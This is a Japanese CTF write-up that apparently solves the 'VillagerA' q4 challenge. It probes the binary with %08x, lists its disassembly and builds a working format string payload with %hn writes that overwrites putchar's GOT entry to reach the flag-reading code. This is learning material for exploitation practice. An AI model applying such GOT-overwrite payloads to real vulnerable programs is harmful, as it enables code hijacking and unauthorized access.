format string attack ~書式指定文字列攻撃~

常設ctfのVillagerA(村人A)がpwnの登竜門とのことでやってみた。

この問題はformat string attack(書式指定文字列攻撃)というテクニックを使う。

かなり勉強になったので、忘れないようにメモ。
自分が思い出せる事に重点を置いて書いたので、判りにくと思うww

SSHでログインすると以下のような感じ。

flag.txtはpermissionではじかれる。q4の脆弱性をついて、flag.txtを参照すればフラグゲット。

q4を動かす

[q4@localhost ~]$ ./q4
What's your name?
mah
Hi, mah

Do you want the flag?
yes
Do you want the flag?
yes
Do you want the flag?
yes
Do you want the flag?
no
I see. Good bye.
[q4@localhost ~]$ ./q4
What's your name?
ABCD,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x
Hi, ABCD,00000400,003568c0,00000008,00000014,00904fc4,44434241,3830252c,30252c78,252c7838

引数%08xに対して、反応し、16進数も文字列を返している。
6個目の%08xで返した”44434241″は”ABCD”である。(リトルエンディアン表記)
この事から、format string attack (以下、FSAと省略)が有効であることが判る。詳しくはこちらで。
6個目の%08xで返した”44434241″は”ABCD”である。

値と、6個目の引数を表示するには以下のように入力する。

[q4@localhost ~]$ echo -e "ABCD%6\$08x" | ./q4
What's your name?
Hi, ABCD44434241

次は逆アセンブル。

[q4@localhost ~]$ objdump -d q4

q4:     file format elf32-i386


Disassembly of section .init:

08048424 <_init>:
 8048424:       55                      push   %ebp
 8048425:       89 e5                   mov    %esp,%ebp
 8048427:       53                      push   %ebx
 8048428:       83 ec 04                sub    $0x4,%esp
 804842b:       e8 00 00 00 00          call   8048430 <_init+0xc>
 8048430:       5b                      pop    %ebx
 8048431:       81 c3 a0 15 00 00       add    $0x15a0,%ebx
 8048437:       8b 93 fc ff ff ff       mov    -0x4(%ebx),%edx
 804843d:       85 d2                   test   %edx,%edx
 804843f:       74 05                   je     8048446 <_init+0x22>
 8048441:       e8 1e 00 00 00          call   8048464 <__gmon_start__@plt>
 8048446:       e8 45 01 00 00          call   8048590 <frame_dummy>
 804844b:       e8 00 03 00 00          call   8048750 <__do_global_ctors_aux>
 8048450:       58                      pop    %eax
 8048451:       5b                      pop    %ebx
 8048452:       c9                      leave  
 8048453:       c3                      ret    

Disassembly of section .plt:

08048454 <__gmon_start__@plt-0x10>:
 8048454:       ff 35 d4 99 04 08       pushl  0x80499d4
 804845a:       ff 25 d8 99 04 08       jmp    *0x80499d8
 8048460:       00 00                   add    %al,(%eax)
        ...

08048464 <__gmon_start__@plt>:
 8048464:       ff 25 dc 99 04 08       jmp    *0x80499dc
 804846a:       68 00 00 00 00          push   $0x0
 804846f:       e9 e0 ff ff ff          jmp    8048454 <_init+0x30>

08048474 <putchar@plt>:
 8048474:       ff 25 e0 99 04 08       jmp    *0x80499e0 ・・・・・・・②
 804847a:       68 08 00 00 00          push   $0x8
 804847f:       e9 d0 ff ff ff          jmp    8048454 <_init+0x30>

08048484 <fgets@plt>:
 8048484:       ff 25 e4 99 04 08       jmp    *0x80499e4
 804848a:       68 10 00 00 00          push   $0x10
 804848f:       e9 c0 ff ff ff          jmp    8048454 <_init+0x30>

08048494 <__libc_start_main@plt>:
 8048494:       ff 25 e8 99 04 08       jmp    *0x80499e8
 804849a:       68 18 00 00 00          push   $0x18
 804849f:       e9 b0 ff ff ff          jmp    8048454 <_init+0x30>

080484a4 <fopen@plt>:
 80484a4:       ff 25 ec 99 04 08       jmp    *0x80499ec
 80484aa:       68 20 00 00 00          push   $0x20
 80484af:       e9 a0 ff ff ff          jmp    8048454 <_init+0x30>

080484b4 <printf@plt>:
 80484b4:       ff 25 f0 99 04 08       jmp    *0x80499f0
 80484ba:       68 28 00 00 00          push   $0x28
 80484bf:       e9 90 ff ff ff          jmp    8048454 <_init+0x30>

080484c4 <puts@plt>:
 80484c4:       ff 25 f4 99 04 08       jmp    *0x80499f4
 80484ca:       68 30 00 00 00          push   $0x30
 80484cf:       e9 80 ff ff ff          jmp    8048454 <_init+0x30>

080484d4 <__gxx_personality_v0@plt>:
 80484d4:       ff 25 f8 99 04 08       jmp    *0x80499f8
 80484da:       68 38 00 00 00          push   $0x38
 80484df:       e9 70 ff ff ff          jmp    8048454 <_init+0x30>

080484e4 <strcmp@plt>:
 80484e4:       ff 25 fc 99 04 08       jmp    *0x80499fc
 80484ea:       68 40 00 00 00          push   $0x40
 80484ef:       e9 60 ff ff ff          jmp    8048454 <_init+0x30>

Disassembly of section .text:

08048500 <_start>:
 8048500:       31 ed                   xor    %ebp,%ebp
 8048502:       5e                      pop    %esi
 8048503:       89 e1                   mov    %esp,%ecx
 8048505:       83 e4 f0                and    $0xfffffff0,%esp
 8048508:       50                      push   %eax
 8048509:       54                      push   %esp
 804850a:       52                      push   %edx
 804850b:       68 e0 86 04 08          push   $0x80486e0
 8048510:       68 f0 86 04 08          push   $0x80486f0
 8048515:       51                      push   %ecx
 8048516:       56                      push   %esi
 8048517:       68 b4 85 04 08          push   $0x80485b4
 804851c:       e8 73 ff ff ff          call   8048494 <__libc_start_main@plt>
 8048521:       f4                      hlt    
 8048522:       90                      nop
 8048523:       90                      nop
 8048524:       90                      nop
 8048525:       90                      nop
 8048526:       90                      nop
 8048527:       90                      nop
 8048528:       90                      nop
 8048529:       90                      nop
 804852a:       90                      nop
 804852b:       90                      nop
 804852c:       90                      nop
 804852d:       90                      nop
 804852e:       90                      nop
 804852f:       90                      nop

08048530 <__do_global_dtors_aux>:
 8048530:       55                      push   %ebp
 8048531:       89 e5                   mov    %esp,%ebp
 8048533:       53                      push   %ebx
 8048534:       8d 64 24 fc             lea    -0x4(%esp),%esp
 8048538:       80 3d 08 9a 04 08 00    cmpb   $0x0,0x8049a08
 804853f:       75 3e                   jne    804857f <__do_global_dtors_aux+0x4f>
 8048541:       bb e4 98 04 08          mov    $0x80498e4,%ebx
 8048546:       a1 0c 9a 04 08          mov    0x8049a0c,%eax
 804854b:       81 eb e0 98 04 08       sub    $0x80498e0,%ebx
 8048551:       c1 fb 02                sar    $0x2,%ebx
 8048554:       83 eb 01                sub    $0x1,%ebx
 8048557:       39 d8                   cmp    %ebx,%eax
 8048559:       73 1d                   jae    8048578 <__do_global_dtors_aux+0x48>
 804855b:       90                      nop
 804855c:       8d 74 26 00             lea    0x0(%esi,%eiz,1),%esi
 8048560:       83 c0 01                add    $0x1,%eax
 8048563:       a3 0c 9a 04 08          mov    %eax,0x8049a0c
 8048568:       ff 14 85 e0 98 04 08    call   *0x80498e0(,%eax,4)
 804856f:       a1 0c 9a 04 08          mov    0x8049a0c,%eax
 8048574:       39 d8                   cmp    %ebx,%eax
 8048576:       72 e8                   jb     8048560 <__do_global_dtors_aux+0x30>
 8048578:       c6 05 08 9a 04 08 01    movb   $0x1,0x8049a08
 804857f:       8d 64 24 04             lea    0x4(%esp),%esp
 8048583:       5b                      pop    %ebx
 8048584:       5d                      pop    %ebp
 8048585:       c3                      ret    
 8048586:       8d 76 00                lea    0x0(%esi),%esi
 8048589:       8d bc 27 00 00 00 00    lea    0x0(%edi,%eiz,1),%edi

08048590 <frame_dummy>:
 8048590:       55                      push   %ebp
 8048591:       89 e5                   mov    %esp,%ebp
 8048593:       8d 64 24 e8             lea    -0x18(%esp),%esp
 8048597:       a1 e8 98 04 08          mov    0x80498e8,%eax
 804859c:       85 c0                   test   %eax,%eax
 804859e:       74 12                   je     80485b2 <frame_dummy+0x22>
 80485a0:       b8 00 00 00 00          mov    $0x0,%eax
 80485a5:       85 c0                   test   %eax,%eax
 80485a7:       74 09                   je     80485b2 <frame_dummy+0x22>
 80485a9:       c7 04 24 e8 98 04 08    movl   $0x80498e8,(%esp)
 80485b0:       ff d0                   call   *%eax
 80485b2:       c9                      leave  
 80485b3:       c3                      ret    

080485b4 <main>:
 80485b4:       55                      push   %ebp
 80485b5:       89 e5                   mov    %esp,%ebp
 80485b7:       83 e4 f0                and    $0xfffffff0,%esp
 80485ba:       81 ec 20 04 00 00       sub    $0x420,%esp
 80485c0:       c7 04 24 a4 87 04 08    movl   $0x80487a4,(%esp)
 80485c7:       e8 f8 fe ff ff          call   80484c4 <puts@plt>
 80485cc:       a1 04 9a 04 08          mov    0x8049a04,%eax
 80485d1:       89 44 24 08             mov    %eax,0x8(%esp)
 80485d5:       c7 44 24 04 00 04 00    movl   $0x400,0x4(%esp)
 80485dc:       00 
 80485dd:       8d 44 24 18             lea    0x18(%esp),%eax
 80485e1:       89 04 24                mov    %eax,(%esp)
 80485e4:       e8 9b fe ff ff          call   8048484 <fgets@plt>
 80485e9:       c7 04 24 b6 87 04 08    movl   $0x80487b6,(%esp)
 80485f0:       e8 bf fe ff ff          call   80484b4 <printf@plt>
 80485f5:       8d 44 24 18             lea    0x18(%esp),%eax
 80485f9:       89 04 24                mov    %eax,(%esp)
 80485fc:       e8 b3 fe ff ff          call   80484b4 <printf@plt>
 8048601:       c7 04 24 0a 00 00 00    movl   $0xa,(%esp)
 8048608:       e8 67 fe ff ff          call   8048474 <putchar@plt>
 804860d:       c7 84 24 18 04 00 00    movl   $0x1,0x418(%esp)
 8048614:       01 00 00 00 
 8048618:       eb 67                   jmp    8048681 <main+0xcd>
 804861a:       c7 04 24 bb 87 04 08    movl   $0x80487bb,(%esp)
 8048621:       e8 9e fe ff ff          call   80484c4 <puts@plt>
 8048626:       a1 04 9a 04 08          mov    0x8049a04,%eax
 804862b:       89 44 24 08             mov    %eax,0x8(%esp)
 804862f:       c7 44 24 04 00 04 00    movl   $0x400,0x4(%esp)
 8048636:       00 
 8048637:       8d 44 24 18             lea    0x18(%esp),%eax
 804863b:       89 04 24                mov    %eax,(%esp)
 804863e:       e8 41 fe ff ff          call   8048484 <fgets@plt>
 8048643:       85 c0                   test   %eax,%eax
 8048645:       0f 94 c0                sete   %al
 8048648:       84 c0                   test   %al,%al
 804864a:       74 0a                   je     8048656 <main+0xa2>
 804864c:       b8 00 00 00 00          mov    $0x0,%eax
 8048651:       e9 86 00 00 00          jmp    80486dc <main+0x128>
 8048656:       c7 44 24 04 d1 87 04    movl   $0x80487d1,0x4(%esp)
 804865d:       08 
 804865e:       8d 44 24 18             lea    0x18(%esp),%eax
 8048662:       89 04 24                mov    %eax,(%esp)
 8048665:       e8 7a fe ff ff          call   80484e4 <strcmp@plt>
 804866a:       85 c0                   test   %eax,%eax
 804866c:       75 13                   jne    8048681 <main+0xcd>
 804866e:       c7 04 24 d5 87 04 08    movl   $0x80487d5,(%esp)
 8048675:       e8 4a fe ff ff          call   80484c4 <puts@plt>
 804867a:       b8 00 00 00 00          mov    $0x0,%eax
 804867f:       eb 5b                   jmp    80486dc <main+0x128>
 8048681:       8b 84 24 18 04 00 00    mov    0x418(%esp),%eax
 8048688:       85 c0                   test   %eax,%eax
 804868a:       0f 95 c0                setne  %al
 804868d:       84 c0                   test   %al,%al
 804868f:       75 89                   jne    804861a <main+0x66>
 8048691:       c7 44 24 04 e6 87 04    movl   $0x80487e6,0x4(%esp)
 8048698:       08 
 8048699:       c7 04 24 e8 87 04 08    movl   $0x80487e8,(%esp)
 80486a0:       e8 ff fd ff ff          call   80484a4 <fopen@plt> ・・・・・①
 80486a5:       89 84 24 1c 04 00 00    mov    %eax,0x41c(%esp)
 80486ac:       8b 84 24 1c 04 00 00    mov    0x41c(%esp),%eax
 80486b3:       89 44 24 08             mov    %eax,0x8(%esp)
 80486b7:       c7 44 24 04 00 04 00    movl   $0x400,0x4(%esp)
 80486be:       00 
 80486bf:       8d 44 24 18             lea    0x18(%esp),%eax
 80486c3:       89 04 24                mov    %eax,(%esp)
 80486c6:       e8 b9 fd ff ff          call   8048484 <fgets@plt>
 80486cb:       8d 44 24 18             lea    0x18(%esp),%eax
 80486cf:       89 04 24                mov    %eax,(%esp)
 80486d2:       e8 dd fd ff ff          call   80484b4 <printf@plt>
 80486d7:       b8 00 00 00 00          mov    $0x0,%eax
 80486dc:       c9                      leave  
 80486dd:       c3                      ret    
 80486de:       90                      nop
 80486df:       90                      nop

080486e0 <__libc_csu_fini>:
 80486e0:       55                      push   %ebp
 80486e1:       89 e5                   mov    %esp,%ebp
 80486e3:       5d                      pop    %ebp
 80486e4:       c3                      ret    
 80486e5:       66 66 2e 0f 1f 84 00    data32 nopw %cs:0x0(%eax,%eax,1)
 80486ec:       00 00 00 00 

080486f0 <__libc_csu_init>:
 80486f0:       55                      push   %ebp
 80486f1:       89 e5                   mov    %esp,%ebp
 80486f3:       57                      push   %edi
 80486f4:       56                      push   %esi
 80486f5:       53                      push   %ebx
 80486f6:       e8 4f 00 00 00          call   804874a <__i686.get_pc_thunk.bx>
 80486fb:       81 c3 d5 12 00 00       add    $0x12d5,%ebx
 8048701:       83 ec 1c                sub    $0x1c,%esp
 8048704:       e8 1b fd ff ff          call   8048424 <_init>
 8048709:       8d bb 08 ff ff ff       lea    -0xf8(%ebx),%edi
 804870f:       8d 83 08 ff ff ff       lea    -0xf8(%ebx),%eax
 8048715:       29 c7                   sub    %eax,%edi
 8048717:       c1 ff 02                sar    $0x2,%edi
 804871a:       85 ff                   test   %edi,%edi
 804871c:       74 24                   je     8048742 <__libc_csu_init+0x52>
 804871e:       31 f6                   xor    %esi,%esi
 8048720:       8b 45 10                mov    0x10(%ebp),%eax
 8048723:       89 44 24 08             mov    %eax,0x8(%esp)
 8048727:       8b 45 0c                mov    0xc(%ebp),%eax
 804872a:       89 44 24 04             mov    %eax,0x4(%esp)
 804872e:       8b 45 08                mov    0x8(%ebp),%eax
 8048731:       89 04 24                mov    %eax,(%esp)
 8048734:       ff 94 b3 08 ff ff ff    call   *-0xf8(%ebx,%esi,4)
 804873b:       83 c6 01                add    $0x1,%esi
 804873e:       39 fe                   cmp    %edi,%esi
 8048740:       72 de                   jb     8048720 <__libc_csu_init+0x30>
 8048742:       83 c4 1c                add    $0x1c,%esp
 8048745:       5b                      pop    %ebx
 8048746:       5e                      pop    %esi
 8048747:       5f                      pop    %edi
 8048748:       5d                      pop    %ebp
 8048749:       c3                      ret    

0804874a <__i686.get_pc_thunk.bx>:
 804874a:       8b 1c 24                mov    (%esp),%ebx
 804874d:       c3                      ret    
 804874e:       90                      nop
 804874f:       90                      nop

08048750 <__do_global_ctors_aux>:
 8048750:       55                      push   %ebp
 8048751:       89 e5                   mov    %esp,%ebp
 8048753:       53                      push   %ebx
 8048754:       8d 64 24 fc             lea    -0x4(%esp),%esp
 8048758:       a1 d8 98 04 08          mov    0x80498d8,%eax
 804875d:       83 f8 ff                cmp    $0xffffffff,%eax
 8048760:       74 12                   je     8048774 <__do_global_ctors_aux+0x24>
 8048762:       bb d8 98 04 08          mov    $0x80498d8,%ebx
 8048767:       90                      nop
 8048768:       8d 5b fc                lea    -0x4(%ebx),%ebx
 804876b:       ff d0                   call   *%eax
 804876d:       8b 03                   mov    (%ebx),%eax
 804876f:       83 f8 ff                cmp    $0xffffffff,%eax
 8048772:       75 f4                   jne    8048768 <__do_global_ctors_aux+0x18>
 8048774:       8d 64 24 04             lea    0x4(%esp),%esp
 8048778:       5b                      pop    %ebx
 8048779:       5d                      pop    %ebp
 804877a:       c3                      ret    
 804877b:       90                      nop

Disassembly of section .fini:

0804877c <_fini>:
 804877c:       55                      push   %ebp
 804877d:       89 e5                   mov    %esp,%ebp
 804877f:       53                      push   %ebx
 8048780:       83 ec 04                sub    $0x4,%esp
 8048783:       e8 00 00 00 00          call   8048788 <_fini+0xc>
 8048788:       5b                      pop    %ebx
 8048789:       81 c3 48 12 00 00       add    $0x1248,%ebx
 804878f:       e8 9c fd ff ff          call   8048530 <__do_global_dtors_aux>
 8048794:       59                      pop    %ecx
 8048795:       5b                      pop    %ebx
 8048796:       c9                      leave  
 8048797:       c3                      ret

 

215行目でファイルをオープンしている。

おそらく、”Do you want the flag?”に対する正解を応えればflag.txtが出る仕組みと推測。

FSAは任意の位置のメモリを書き換えてくれる。

どこかの呼び出される値をfopenの少し前の0x08048691に書き換える事でフラグをとれるハズ。

main関数を読み返す。上から読んでいくと41行目で示した0x08048474のジャンプ先0x080499e0が使えそう。

で、どうするか。

ググった結果、以下が判った。ももいろテクノロジーさんから引用

  • %s指定子は対応する引数で指定されたアドレスが指す文字列を出力する。
    つまり、AAAAの部分に読み出したいアドレスをセットした上で%10$sを指定すれば、
    任意のアドレスからnullバイトが現れるまでのメモリ内容を出力させることができる。
  • AAAAの代わりに書き換えたいアドレスをセットし、
    %100cなどで適当な数(ここでは100)だけ文字を出力した上で
    %10$nを指定すれば、そのアドレスにあるメモリ4バイトを任意の値に書き換えることができる。
    たとえば、0xaabbccddからの4バイトを11 00 00 00 (=17) に書き換えるには次のようにする。$ ./a.out $’\xdd\xcc\xbb\xaa%13c%10\$n’
    [+] buf = 0xbffff6f8
    Segmentation fault (core dumped)

    先頭のアドレス指定ですでに4バイト出力しているので%cで出力させる文字数には目的の数から4引いた数を指定する。

  • 上の方法で4バイト書き換えるとき、文字数をそのまま指定する
    と大量の文字を出力することになり時間がかかる。
    そこで、先頭から1バイトずつ4回に分けて書き換える方法が取られる。
    また、%nの代わりに%hnを使うと2バイト、%hhnを使うと1バイトのみの書き換えにすることができる。
    ここで出力文字数が書き換えられるバイト長を越えた場合については、上位のバイトが無視される。

 

上記3つが注意点。1バイトずつやるのもとても長くなるでしょ。
2バイトずつ2回に分けて%nを使ってみる。

参照元は書き換え先がひとつだが、今回は2回にわけるので、書き換え先も2つになる。
一つ目の書き換え先から2バイト入力し、続けて2バイト入力するので、
一つ目の書き換え先と2つ目の書き換え先は2バイトずれる。
つまり以下となる。

0x080499e0 と 0x80499e2

上記の書き換え先を参照先に習って(リトルエンディアンを考慮)変換すると以下となる。

\xe0\x99\x04\x08\xe2\x99\x04\x08

次は書き換え元である。

2回にわけるから引数も2つ必要である。

%6\$hn  と %7\$hn  が引数の後方にくる。

これの前に2バイトずつ 0x08048691 をそのまま分けて書けばよいわけでは無いようだ。

まず、”\xe0\x99\x04\x08\xe2\x99\x04\x08″で8バイト使用しているので、8バイト分 引く必要がある。

0x08048691 – 8 = 0x08048689

2バイトずつわけるので

0x0804 0x8689

リトルエンディアンなので、前半が”%7\$hn “に後半が”%6\$hn “になる。

%7\$hnの前部分の表記はさらにオフセットを考慮しなければならない。
今回の場合、以下の式になる。

0x0804 + 0x10000 – 0x8689 – 0x08 = 0x8173

そこからさらに10進数に直す(←なぜかはよくわかってないw)

0x8689 → 34441
0x8173 → 33139

つまり、引数の部分は以下となる。

%34441c%6\$hn%33139c%7\$hn

よって、以下を入力すればよい。

echo -e “\xe0\x99\x04\x08\xe2\x99\x04\x08%34441c%6\$hn%33139c%7\$hn” | ./q4

 

疲れた。。nopでジャンプ命令書き換えとかの方が速そうだと思ったが、sshログインだとできないのかなぁ。。